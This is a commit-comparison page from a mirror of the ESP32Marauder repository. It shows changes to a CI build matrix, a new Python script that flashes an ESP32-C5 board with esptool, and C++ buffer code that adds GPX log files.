mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2026-01-26 03:05:00 -08:00
Compare commits
53 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
399b8d6c38 | ||
|
|
3c51ae4e4d | ||
|
|
d17222d7b0 | ||
|
|
561bca75d2 | ||
|
|
0603468ee3 | ||
|
|
6596b41029 | ||
|
|
9722cce0ba | ||
|
|
5ddf9786e0 | ||
|
|
4ebbd90e74 | ||
|
|
944d23c3a9 | ||
|
|
7e5f48bacd | ||
|
|
bc9c3ad32b | ||
|
|
adebbb15d1 | ||
|
|
fe975f1145 | ||
|
|
c16afc958b | ||
|
|
f2c8d2071b | ||
|
|
0bdb9470fb | ||
|
|
761966e704 | ||
|
|
66a5efcd33 | ||
|
|
478586a8da | ||
|
|
1febb4a13c | ||
|
|
f55e5aede3 | ||
|
|
701abd2aa7 | ||
|
|
113e8c0c92 | ||
|
|
6920db4ab9 | ||
|
|
77117a4dae | ||
|
|
7353dd69b3 | ||
|
|
1398dbe00d | ||
|
|
23e2b6d221 | ||
|
|
fd1a34e567 | ||
|
|
e2b6983950 | ||
|
|
651761c7a7 | ||
|
|
c0d17f195a | ||
|
|
7c59161ae7 | ||
|
|
899b854819 | ||
|
|
052d336c92 | ||
|
|
6008cc359d | ||
|
|
01a7c33e9e | ||
|
|
4c22b9af7c | ||
|
|
c6bf7d63e5 | ||
|
|
e618e878f6 | ||
|
|
2311aa1f1b | ||
|
|
a2fd8ef90d | ||
|
|
e1217a7f4f | ||
|
|
0025dc2f68 | ||
|
|
999be5d100 | ||
|
|
04847f9537 | ||
|
|
02802ca6e4 | ||
|
|
e8c4e9c01a | ||
|
|
f1bcdad370 | ||
|
|
2c2df227d2 | ||
|
|
ede779845c | ||
|
|
9c62237fcf |
105
.github/workflows/build_parallel.yml
vendored
105
.github/workflows/build_parallel.yml
vendored
@@ -17,24 +17,25 @@ jobs:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
board:
|
||||
- { name: "Flipper Zero WiFi Dev Board", flag: "MARAUDER_FLIPPER", fbqn: "esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled", file_name: "flipper", tft: false, tft_file: "", build_dir: "esp32s2", addr: "0x1000" }
|
||||
- { name: "Flipper Zero Multi Board S3", flag: "MARAUDER_MULTIBOARD_S3", fbqn: "esp32:esp32:esp32s3:PartitionScheme=min_spiffs,FlashSize=4M", file_name: "multiboardS3", tft: false, tft_file: "", build_dir: "esp32s3", addr: "0x0" }
|
||||
- { name: "OG Marauder", flag: "MARAUDER_V4", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "og", tft: true, tft_file: "User_Setup_og_marauder.h", build_dir: "d32", addr: "0x1000" }
|
||||
- { name: "Marauder v6", flag: "MARAUDER_V6", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "v6", tft: true, tft_file: "User_Setup_og_marauder.h", build_dir: "d32", addr: "0x1000" }
|
||||
- { name: "Marauder v6.1", flag: "MARAUDER_V6_1", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "v6_1", tft: true, tft_file: "User_Setup_og_marauder.h", build_dir: "d32", addr: "0x1000" }
|
||||
- { name: "Marauder Kit", flag: "MARAUDER_KIT", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "kit", tft: true, tft_file: "User_Setup_og_marauder.h", build_dir: "d32", addr: "0x1000" }
|
||||
- { name: "Marauder Mini", flag: "MARAUDER_MINI", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "mini", tft: true, tft_file: "User_Setup_marauder_mini.h", build_dir: "d32", addr: "0x1000" }
|
||||
- { name: "ESP32 LDDB", flag: "ESP32_LDDB", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "esp32_lddb", tft: false, tft_file: "", build_dir: "d32", addr: "0x1000" }
|
||||
- { name: "Marauder Dev Board Pro", flag: "MARAUDER_DEV_BOARD_PRO", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "marauder_dev_board_pro", tft: false, tft_file: "", build_dir: "d32", addr: "0x1000" }
|
||||
- { name: "M5StickCPlus", flag: "MARAUDER_M5STICKC", fbqn: "esp32:esp32:m5stick-c:PartitionScheme=min_spiffs", file_name: "m5stickc_plus", tft: true, tft_file: "User_Setup_marauder_m5stickc.h", build_dir: "m5stick-c", addr: "0x1000" }
|
||||
- { name: "M5StickCPlus 2", flag: "MARAUDER_M5STICKCP2", fbqn: "esp32:esp32:m5stick-c:PartitionScheme=min_spiffs", file_name: "m5stickc_plus2", tft: true, tft_file: "User_Setup_marauder_m5stickcp2.h", build_dir: "m5stick-c", addr: "0x1000" }
|
||||
- { name: "Rev Feather", flag: "MARAUDER_REV_FEATHER", fbqn: "esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled", file_name: "rev_feather", tft: true, tft_file: "User_Setup_marauder_rev_feather.h", build_dir: "esp32s2", addr: "0x1000" }
|
||||
- { name: "Marauder v7", flag: "MARAUDER_V7", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "marauder_v7", tft: true, tft_file: "User_Setup_dual_nrf24.h", build_dir: "d32", addr: "0x1000" }
|
||||
- { name: "Marauder CYD 2432S028", flag: "MARAUDER_CYD_MICRO", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "cyd_2432S028", tft: true, tft_file: "User_Setup_cyd_micro.h", build_dir: "d32", addr: "0x1000" }
|
||||
- { name: "Marauder CYD 2432S024 GUITION", flag: "MARAUDER_CYD_GUITION", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "cyd_2432S024_guition", tft: true, tft_file: "User_Setup_cyd_guition.h", build_dir: "d32", addr: "0x1000" }
|
||||
- { name: "Marauder CYD 2432S028 2 USB", flag: "MARAUDER_CYD_2USB", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "cyd_2432S028_2usb", tft: true, tft_file: "User_Setup_cyd_2usb.h", build_dir: "d32", addr: "0x1000" }
|
||||
- { name: "Marauder v7.1", flag: "MARAUDER_V7_1", fbqn: "esp32:esp32:dfrobot_firebeetle2_esp32e:FlashSize=16M,PartitionScheme=min_spiffs,PSRAM=enabled", file_name: "marauder_v7_1", tft: true, tft_file: "User_Setup_dual_nrf24.h", build_dir: "dfrobot_firebeetle2_esp32e", addr: "0x1000" }
|
||||
- { name: "M5Cardputer", flag: "MARAUDER_CARDPUTER", fbqn: "esp32:esp32:esp32s3:PartitionScheme=min_spiffs,FlashSize=8M,PSRAM=disabled", file_name: "m5cardputer", tft: true, tft_file: "User_Setup_marauder_m5cardputer.h", build_dir: "esp32s3", addr: "0x1000" }
|
||||
- { name: "Flipper Zero WiFi Dev Board", flag: "MARAUDER_FLIPPER", fbqn: "esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled", file_name: "flipper", tft: false, tft_file: "", build_dir: "esp32s2", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Flipper Zero Multi Board S3", flag: "MARAUDER_MULTIBOARD_S3", fbqn: "esp32:esp32:esp32s3:PartitionScheme=min_spiffs,FlashSize=4M", file_name: "multiboardS3", tft: false, tft_file: "", build_dir: "esp32s3", addr: "0x0", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "OG Marauder", flag: "MARAUDER_V4", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "og", tft: true, tft_file: "User_Setup_og_marauder.h", build_dir: "d32", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Marauder v6", flag: "MARAUDER_V6", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "v6", tft: true, tft_file: "User_Setup_og_marauder.h", build_dir: "d32", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Marauder v6.1", flag: "MARAUDER_V6_1", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "v6_1", tft: true, tft_file: "User_Setup_og_marauder.h", build_dir: "d32", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Marauder Kit", flag: "MARAUDER_KIT", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "kit", tft: true, tft_file: "User_Setup_og_marauder.h", build_dir: "d32", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Marauder Mini", flag: "MARAUDER_MINI", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "mini", tft: true, tft_file: "User_Setup_marauder_mini.h", build_dir: "d32", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "ESP32 LDDB", flag: "ESP32_LDDB", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "esp32_lddb", tft: false, tft_file: "", build_dir: "d32", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Marauder Dev Board Pro", flag: "MARAUDER_DEV_BOARD_PRO", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "marauder_dev_board_pro", tft: false, tft_file: "", build_dir: "d32", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "M5StickCPlus", flag: "MARAUDER_M5STICKC", fbqn: "esp32:esp32:m5stick-c:PartitionScheme=min_spiffs", file_name: "m5stickc_plus", tft: true, tft_file: "User_Setup_marauder_m5stickc.h", build_dir: "m5stick-c", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "M5StickCPlus 2", flag: "MARAUDER_M5STICKCP2", fbqn: "esp32:esp32:m5stick-c:PartitionScheme=min_spiffs", file_name: "m5stickc_plus2", tft: true, tft_file: "User_Setup_marauder_m5stickcp2.h", build_dir: "m5stick-c", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Rev Feather", flag: "MARAUDER_REV_FEATHER", fbqn: "esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled", file_name: "rev_feather", tft: true, tft_file: "User_Setup_marauder_rev_feather.h", build_dir: "esp32s2", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Marauder v7", flag: "MARAUDER_V7", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "marauder_v7", tft: true, tft_file: "User_Setup_dual_nrf24.h", build_dir: "d32", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Marauder CYD 2432S028", flag: "MARAUDER_CYD_MICRO", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "cyd_2432S028", tft: true, tft_file: "User_Setup_cyd_micro.h", build_dir: "d32", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Marauder CYD 2432S024 GUITION", flag: "MARAUDER_CYD_GUITION", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "cyd_2432S024_guition", tft: true, tft_file: "User_Setup_cyd_guition.h", build_dir: "d32", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Marauder CYD 2432S028 2 USB", flag: "MARAUDER_CYD_2USB", fbqn: "esp32:esp32:d32:PartitionScheme=min_spiffs", file_name: "cyd_2432S028_2usb", tft: true, tft_file: "User_Setup_cyd_2usb.h", build_dir: "d32", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "Marauder v7.1", flag: "MARAUDER_V7_1", fbqn: "esp32:esp32:dfrobot_firebeetle2_esp32e:FlashSize=16M,PartitionScheme=min_spiffs,PSRAM=enabled", file_name: "marauder_v7_1", tft: true, tft_file: "User_Setup_dual_nrf24.h", build_dir: "dfrobot_firebeetle2_esp32e", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "M5Cardputer", flag: "MARAUDER_CARDPUTER", fbqn: "esp32:esp32:esp32s3:PartitionScheme=min_spiffs,FlashSize=8M,PSRAM=disabled", file_name: "m5cardputer", tft: true, tft_file: "User_Setup_marauder_m5cardputer.h", build_dir: "esp32s3", addr: "0x1000", idf_ver: "2.0.11", nimble_ver: "1.3.8", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
- { name: "ESP32-C5-DevKitC-1", flag: "MARAUDER_C5", fbqn: "esp32:esp32:esp32c5:PartitionScheme=min_spiffs", file_name: "esp32c5devkitc1", tft: false, tft_file: "", build_dir: "esp32c5", addr: "0x2000", idf_ver: "3.3.0", nimble_ver: "2.3.0", esp_async: "bigbrodude6119/ESPAsyncWebServer", esp_async_ver: "master" }
|
||||
|
||||
steps:
|
||||
- name: Checkout Code
|
||||
@@ -47,21 +48,21 @@ jobs:
|
||||
export PATH=$PATH:/home/runner/work/ESP32Marauder/ESP32Marauder/bin
|
||||
arduino-cli version
|
||||
|
||||
- name: Install Arduino-ESP32 Core v2.0.11
|
||||
run: |
|
||||
arduino-cli core update-index
|
||||
arduino-cli core install esp32:esp32@2.0.11
|
||||
#- name: Install Arduino-ESP32 Core v${{ matrix.board.idf_ver }}
|
||||
# run: |
|
||||
# arduino-cli core update-index
|
||||
# arduino-cli core install esp32:esp32@${{ matrix.board.idf_ver }}
|
||||
|
||||
- name: Verify Installed Cores
|
||||
run: arduino-cli core list
|
||||
|
||||
- name: Build TestFile with ESP32 v2.0.11
|
||||
- name: Build TestFile with ESP32 v${{ matrix.board.idf_ver }}
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: TestFile.ino
|
||||
arduino-board-fqbn: esp32:esp32:esp32s2
|
||||
arduino-platform: esp32:esp32@2.0.11
|
||||
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.11/package_esp32_dev_index.json
|
||||
arduino-platform: esp32:esp32@${{ matrix.board.idf_ver }}
|
||||
platform-url: https://github.com/espressif/arduino-esp32/releases/download/${{ matrix.board.idf_ver }}/package_esp32_dev_index.json
|
||||
|
||||
- name: Verify Installed Cores Again
|
||||
run: arduino-cli core list
|
||||
@@ -91,12 +92,16 @@ jobs:
|
||||
ref: v2.0.6
|
||||
path: CustomMicroNMEA
|
||||
|
||||
#- name: Install ESPAsyncWebServer
|
||||
# uses: actions/checkout@v2
|
||||
# with:
|
||||
# repository: ${{ matrix.board.esp_async }}
|
||||
# ref: ${{ matrix.board.esp_async_ver }}
|
||||
# path: CustomESPAsyncWebServer
|
||||
|
||||
- name: Install ESPAsyncWebServer
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: bigbrodude6119/ESPAsyncWebServer
|
||||
ref: master
|
||||
path: CustomESPAsyncWebServer
|
||||
run: |
|
||||
cp -r libraries/ESPAsyncWebServer ./CustomESPAsyncWebServer
|
||||
|
||||
- name: Install TFT_eSPI
|
||||
uses: actions/checkout@v2
|
||||
@@ -130,7 +135,7 @@ jobs:
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: h2zero/NimBLE-Arduino
|
||||
ref: 1.3.8
|
||||
ref: ${{ matrix.board.nimble_ver }}
|
||||
path: CustomNimBLE-Arduino
|
||||
|
||||
- name: Install Adafruit_NeoPixel
|
||||
@@ -175,6 +180,10 @@ jobs:
|
||||
ref: 1.0.2
|
||||
path: CustomAdafruit_MAX1704X
|
||||
|
||||
- name: Show Libraries
|
||||
run: |
|
||||
find /home/runner/ -name "Custom*"
|
||||
|
||||
- name: Configure TFT_eSPI
|
||||
run: |
|
||||
rm -f CustomTFT_eSPI/User_Setup_Select.h
|
||||
@@ -189,16 +198,24 @@ jobs:
|
||||
|
||||
- name: Modify platform.txt
|
||||
run: |
|
||||
for i in $(find /home/runner/.arduino15/packages/esp32/hardware/esp32/ -name "platform.txt"); do
|
||||
sed -i 's/compiler.c.elf.libs.esp32c3=/compiler.c.elf.libs.esp32c3=-zmuldefs /' "$i"
|
||||
sed -i 's/compiler.c.elf.libs.esp32s3=/compiler.c.elf.libs.esp32s3=-zmuldefs /' "$i"
|
||||
sed -i 's/compiler.c.elf.libs.esp32s2=/compiler.c.elf.libs.esp32s2=-zmuldefs /' "$i"
|
||||
sed -i 's/compiler.c.elf.libs.esp32=/compiler.c.elf.libs.esp32=-zmuldefs /' "$i"
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32c3
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32s3
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32s2
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32
|
||||
done
|
||||
if [[ ${{ matrix.board.idf_ver }} == "2.0.11" ]]; then
|
||||
for i in $(find /home/runner/.arduino15/packages/esp32/hardware/esp32/ -name "platform.txt"); do
|
||||
sed -i 's/compiler.c.elf.libs.esp32c3=/compiler.c.elf.libs.esp32c3=-zmuldefs /' "$i"
|
||||
sed -i 's/compiler.c.elf.libs.esp32s3=/compiler.c.elf.libs.esp32s3=-zmuldefs /' "$i"
|
||||
sed -i 's/compiler.c.elf.libs.esp32s2=/compiler.c.elf.libs.esp32s2=-zmuldefs /' "$i"
|
||||
sed -i 's/compiler.c.elf.libs.esp32=/compiler.c.elf.libs.esp32=-zmuldefs /' "$i"
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32c3
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32s3
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32s2
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32
|
||||
done
|
||||
fi
|
||||
|
||||
if [[ ${{ matrix.board.idf_ver }} == "3.3.0" ]]; then
|
||||
for i in $(find /home/runner/.arduino15/packages/esp32/hardware/esp32/ -name "platform.txt"); do
|
||||
sed -i 's/compiler.c.elf.extra_flags=/compiler.c.elf.extra_flags=-Wl,-zmuldefs /' "$i"
|
||||
done
|
||||
fi
|
||||
|
||||
- name: Configure TFT_eSPI (if needed)
|
||||
run: |
|
||||
@@ -209,13 +226,13 @@ jobs:
|
||||
fi
|
||||
|
||||
- name: Build Marauder for ${{ matrix.board.name }}
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
uses: ArminJo/arduino-test-compile@v3.3.0
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: ${{ matrix.board.fbqn }}
|
||||
extra-arduino-cli-args: "--warnings none --build-property compiler.cpp.extra_flags='-D${{ matrix.board.flag }}'"
|
||||
arduino-platform: esp32:esp32@2.0.11
|
||||
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.11/package_esp32_dev_index.json
|
||||
arduino-platform: esp32:esp32@${{ matrix.board.idf_ver }}
|
||||
platform-url: https://github.com/espressif/arduino-esp32/releases/download/${{ matrix.board.idf_ver }}/package_esp32_dev_index.json
|
||||
|
||||
- name: Rename Marauder ${{ matrix.board.name }} bin
|
||||
run: |
|
||||
|
||||
BIN
C5_Py_Flasher/bins/bootloader.bin
Normal file
BIN
C5_Py_Flasher/bins/bootloader.bin
Normal file
Binary file not shown.
Binary file not shown.
BIN
C5_Py_Flasher/bins/partitions.bin
Normal file
BIN
C5_Py_Flasher/bins/partitions.bin
Normal file
Binary file not shown.
164
C5_Py_Flasher/c5_flasher.py
Normal file
164
C5_Py_Flasher/c5_flasher.py
Normal file
@@ -0,0 +1,164 @@
|
||||
# === ESP32-C5 Auto Flasher Script By: AWOK ===
|
||||
|
||||
import sys
|
||||
import subprocess
|
||||
import os
|
||||
import platform # Placeholder for possible OS checks
|
||||
import glob
|
||||
import time
|
||||
import shutil
|
||||
import argparse
|
||||
|
||||
def ensure_package(pkg):
|
||||
try:
|
||||
__import__(pkg if pkg != 'gitpython' else 'git')
|
||||
except ImportError:
|
||||
print(f"Installing missing package: {pkg}")
|
||||
subprocess.check_call([sys.executable, '-m', 'pip', 'install', '--upgrade', pkg])
|
||||
|
||||
try:
|
||||
import serial.tools.list_ports
|
||||
except ImportError:
|
||||
ensure_package('pyserial')
|
||||
try:
|
||||
import esptool
|
||||
except ImportError:
|
||||
ensure_package('esptool')
|
||||
try:
|
||||
from colorama import Fore, Style
|
||||
except ImportError:
|
||||
ensure_package('colorama')
|
||||
|
||||
# Dependency check and install if needed
|
||||
REQUIRED_PACKAGES = [
|
||||
'pyserial',
|
||||
'esptool',
|
||||
'colorama'
|
||||
]
|
||||
|
||||
def ensure_requirements():
|
||||
for pkg in REQUIRED_PACKAGES:
|
||||
ensure_package(pkg)
|
||||
ensure_requirements()
|
||||
|
||||
# Finds the first file from a list of possible names in the bins folder
|
||||
def find_file(name_options, bins_dir):
|
||||
for name in name_options:
|
||||
files = glob.glob(os.path.join(bins_dir, name))
|
||||
if files:
|
||||
return files[0]
|
||||
return None
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="ESP32-C5 Auto Flasher (bins subdir)")
|
||||
parser.parse_args()
|
||||
|
||||
bins_dir = os.path.join(os.path.dirname(__file__), 'bins')
|
||||
if not os.path.isdir(bins_dir):
|
||||
print(Fore.RED + f"Bins directory not found: {bins_dir}\nPlease create a 'bins' folder with your .bin files." + Style.RESET_ALL)
|
||||
exit(1)
|
||||
|
||||
# Logo and splash, both centered and purple
|
||||
terminal_width = shutil.get_terminal_size((100, 20)).columns
|
||||
def center(text): return text.center(terminal_width)
|
||||
logo_lines = [
|
||||
" @@@@@@ ",
|
||||
" @@@@@@@@ @@@@@ @@@@ ",
|
||||
" @@@ @@@@@@@ @@@ @@@@@@@@ ",
|
||||
" @@@@@@@@@@@@@ @@@@@ @@@ @@@@ @@@ ",
|
||||
" @@@ @@@@@ @@@ @@@@@@ @@@ ",
|
||||
" @@@ @@@ @@ @@@@ @@@ ",
|
||||
" @@@@@@@@@@@@ @@ @ @@@ @@@ @@ ",
|
||||
" @@@ @@@@@ @@ @@@ @@ @@@@@@@@@@@@@@ ",
|
||||
" @@@ @@@ @@ @@@ @@@@@ @@@@",
|
||||
" @@@ @@ @@@@ @@@ @@@",
|
||||
" @@@@@ @@ @@@@ @@@",
|
||||
" @@@@@@ @@ @@ @ @@@ @@@@ ",
|
||||
" @@@ @@ @@ @ @@@@@@ ",
|
||||
" @@@ @@ @@@ @@ @@@@@@@@@@@@@@@ ",
|
||||
"@@@ @@@@ @ @@@@ @@@@@ @@@ @ @@@@ @@@ @@@ ",
|
||||
"@@@ @@@@@@@ @@@ @@@@@@@@@@@@@@@@@@@ @@ @@@ @@@ ",
|
||||
"@@@ @@@@@ @@@ @@@@@ @@@@ @@@@ @@@@@@@@@@ @@@@ @@@ ",
|
||||
"@@@@ @@@@@@@@@@@@@@@@ @@@ @@@ @@ @@@@@@@@@@@@ @@@ ",
|
||||
" @@@@ @@@@@@@@@@@@@@@@ @@@ @@ @@@@@@@@@@@@ @@@ ",
|
||||
" @@@@@@ @@@@@ @@@ @@ @ @@ @@ @@@@ @@@@ ",
|
||||
" @@@@@@@@@@@@@ @@@ @@ @@ @@ @@@@@@@@@@@ ",
|
||||
" @@@@@@@@@@@@ @@@ @@ @@@ @ @@@@@@@@ ",
|
||||
" @@ @@ @@@ @@ @@@ ",
|
||||
" @ @@ @@ @@@ ",
|
||||
" @@@ @@@ ",
|
||||
" @@@ ",
|
||||
""
|
||||
]
|
||||
splash_lines = [
|
||||
"-- ESP32 C5 Flasher --",
|
||||
"By AWOK",
|
||||
"Inspired from LordSkeletonMans ESP32 FZEasyFlasher",
|
||||
"Shout out to JCMK for the inspiration on setting up the C5",
|
||||
""
|
||||
]
|
||||
print(Fore.MAGENTA + "\n" + "\n".join(center(line) for line in logo_lines + splash_lines) + Style.RESET_ALL)
|
||||
|
||||
# Wait for ESP32 device to show up as a new serial port
|
||||
existing_ports = set([port.device for port in serial.tools.list_ports.comports()])
|
||||
print(Fore.YELLOW + "Waiting for ESP32-C5 device to be connected..." + Style.RESET_ALL)
|
||||
while True:
|
||||
current_ports = set([port.device for port in serial.tools.list_ports.comports()])
|
||||
new_ports = current_ports - existing_ports
|
||||
if new_ports:
|
||||
serial_port = new_ports.pop()
|
||||
break
|
||||
time.sleep(0.5)
|
||||
print(Fore.GREEN + f"Detected ESP32-C5 on port: {serial_port}" + Style.RESET_ALL)
|
||||
|
||||
# Find bin files for each firmware component
|
||||
bootloader = find_file(['bootloader.bin'], bins_dir)
|
||||
partitions = find_file(['partition-table.bin', 'partitions.bin'], bins_dir)
|
||||
ota_data = find_file(['ota_data_initial.bin'], bins_dir)
|
||||
|
||||
# Main firmware: largest bin in the folder that's not bootloader, partition, or OTA
|
||||
all_bins = glob.glob(os.path.join(bins_dir, "*.bin"))
|
||||
exclude = {bootloader, partitions, ota_data}
|
||||
firmware_bins = [f for f in all_bins if f not in exclude and os.path.isfile(f)]
|
||||
if not firmware_bins:
|
||||
print(Fore.RED + "No application firmware .bin file found in the 'bins' folder!" + Style.RESET_ALL)
|
||||
exit(1)
|
||||
app_bin = max(firmware_bins, key=lambda f: os.path.getsize(f))
|
||||
|
||||
# Print summary, ask for confirmation before flashing
|
||||
print(Fore.CYAN + f"\nBootloader: {bootloader or 'NOT FOUND'}")
|
||||
print(f"Partitions: {partitions or 'NOT FOUND'}")
|
||||
print(f"OTA Data: {ota_data or 'NOT FOUND'}")
|
||||
print(f"App (main): {app_bin}\n" + Style.RESET_ALL)
|
||||
if not (bootloader and partitions):
|
||||
print(Fore.RED + "Missing bootloader or partition table. Both are required for a complete flash!" + Style.RESET_ALL)
|
||||
exit(1)
|
||||
confirm = input(Fore.YELLOW + "Ready to flash these files to ESP32-C5? (y/N): " + Style.RESET_ALL)
|
||||
if confirm.strip().lower() != 'y':
|
||||
print("Aborting.")
|
||||
exit(0)
|
||||
|
||||
# Flash using esptool, with offsets for C5
|
||||
esptool_args = [
|
||||
'--chip', 'esp32c5',
|
||||
'--port', serial_port,
|
||||
'--baud', '921600',
|
||||
'--before', 'default_reset',
|
||||
'--after', 'hard_reset',
|
||||
'write_flash', '-z',
|
||||
'0x2000', bootloader,
|
||||
'0x8000', partitions,
|
||||
]
|
||||
if ota_data:
|
||||
esptool_args += ['0xd000', ota_data]
|
||||
esptool_args += ['0x10000', app_bin]
|
||||
|
||||
print(Fore.YELLOW + "Flashing ESP32-C5 with bootloader, partition table, and application..." + Style.RESET_ALL)
|
||||
try:
|
||||
esptool.main(esptool_args)
|
||||
print(Fore.GREEN + "Flashing complete!" + Style.RESET_ALL)
|
||||
except Exception as e:
|
||||
print(Fore.RED + f"Flashing failed: {e}" + Style.RESET_ALL)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -6,7 +6,7 @@ Buffer::Buffer(){
|
||||
bufB = (uint8_t*)malloc(BUF_SIZE);
|
||||
}
|
||||
|
||||
void Buffer::createFile(String name, bool is_pcap){
|
||||
void Buffer::createFile(String name, bool is_pcap, bool is_gpx){
|
||||
int i=0;
|
||||
if (is_pcap) {
|
||||
do{
|
||||
@@ -14,12 +14,18 @@ void Buffer::createFile(String name, bool is_pcap){
|
||||
i++;
|
||||
} while(fs->exists(fileName));
|
||||
}
|
||||
else {
|
||||
else if ((!is_pcap) && (!is_gpx)) {
|
||||
do{
|
||||
fileName = "/"+name+"_"+(String)i+".log";
|
||||
i++;
|
||||
} while(fs->exists(fileName));
|
||||
}
|
||||
else {
|
||||
do{
|
||||
fileName = "/"+name+"_"+(String)i+".gpx";
|
||||
i++;
|
||||
} while(fs->exists(fileName));
|
||||
}
|
||||
|
||||
Serial.println(fileName);
|
||||
|
||||
@@ -46,7 +52,7 @@ void Buffer::open(bool is_pcap){
|
||||
}
|
||||
}
|
||||
|
||||
void Buffer::openFile(String file_name, fs::FS* fs, bool serial, bool is_pcap) {
|
||||
void Buffer::openFile(String file_name, fs::FS* fs, bool serial, bool is_pcap, bool is_gpx) {
|
||||
bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
|
||||
if (!save_pcap) {
|
||||
this->fs = NULL;
|
||||
@@ -57,7 +63,7 @@ void Buffer::openFile(String file_name, fs::FS* fs, bool serial, bool is_pcap) {
|
||||
this->fs = fs;
|
||||
this->serial = serial;
|
||||
if (this->fs) {
|
||||
